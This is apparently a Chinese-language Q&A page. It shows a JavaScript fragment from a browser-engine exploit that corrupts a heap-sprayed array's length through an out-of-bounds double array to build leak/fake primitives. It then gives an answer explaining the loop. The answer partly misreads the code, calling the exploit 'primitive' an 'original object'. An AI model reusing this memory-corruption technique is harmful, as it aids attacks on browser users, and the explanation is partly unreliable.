/debug("[*] Finding potential primitive..."); var leakAndFakePrimIdx = -1; var leakAndFakeDoubleIdx = -1; var foundPrimitive = false; for (var i = 0; i < 0x5000; i++) { var lookupIdx = 0x65000 + i; var oldVal = oobDoubleArr[lookupIdx]; if (oldVal == undefined) continue; oobDoubleArr[lookupIdx] = u2d(0x00001337, 0x0); for (var k = 0; k < 0x800; k++) { if(primitiveSpray[k].length != 0x10) { //debug("[*] Found a primitive!") //debug("| [+] Primitive Index: 0x" + k.toString(16)); //debug("| [+] Double Index: 0x" + lookupIdx.toString(16)); //debug("| [+] Length: 0x" + primitiveSpray[k].length.toString(16)); foundPrimitive = true; leakAndFakePrimIdx = k; leakAndFakeDoubleIdx = lookupIdx; oobDoubleArr[lookupIdx] = oldVal; for(var test = 0; test < 0x10; test++) { f64[0] = oobDoubleArr[lookupIdx+test]; } break; } } if(foundPrimitive) break; oobDoubleArr[lookupIdx] = oldVal; }请解释以上代码的作用?
时间: 2024-02-10 21:28:40 浏览: 30
以上代码的作用是寻找潜在的原始对象(primitive)。
1. `debug("[*] Finding potential primitive...");`:调用了一个名为`debug`的函数,输出调试信息。此处输出了一个描述信息。
2. 初始化变量:
- `leakAndFakePrimIdx` 和 `leakAndFakeDoubleIdx` 被初始化为-1,用于记录找到的原始对象的索引。
- `foundPrimitive` 被初始化为false,用于标记是否找到了原始对象。
3. 循环查找原始对象:
- `for (var i = 0; i < 0x5000; i++) { ... }`:循环变量`i`从0开始递增,直到0x5000(20480)。
- 在每次循环中,首先计算一个查找索引 `lookupIdx`,然后获取 `oobDoubleArr` 在该索引处的旧值 `oldVal`。
- 如果 `oldVal` 为未定义(undefined),则继续下一次循环。
- 将 `oobDoubleArr` 在 `lookupIdx` 处写入一个特定的64位浮点数对象(0x00001337, 0x0)。
- 在嵌套循环中,遍历 `primitiveSpray` 数组,并检查其长度是否为0x10。
- 如果长度不等于0x10,则表示找到了一个潜在的原始对象。
- 在找到原始对象后,记录相关索引和长度,并将原始值 `oldVal` 写回到 `oobDoubleArr` 的 `lookupIdx` 处。
- 进一步访问 `oobDoubleArr` 中的一些元素,以验证原始对象是否有效。
- 跳出内部循环和外部循环。
- 如果找到了原始对象,则跳出外部循环。
以上代码的目的是在 `oobDoubleArr` 中查找潜在的原始对象。通过修改 `oobDoubleArr` 中的特定元素,然后遍历 `primitiveSpray` 数组,找到一个长度不为0x10的数组作为潜在的原始对象。在找到原始对象后,记录相关索引和长度,并进行进一步的验证。这段代码可能是为了获取有效的原始对象,以便在后续的漏洞利用中使用。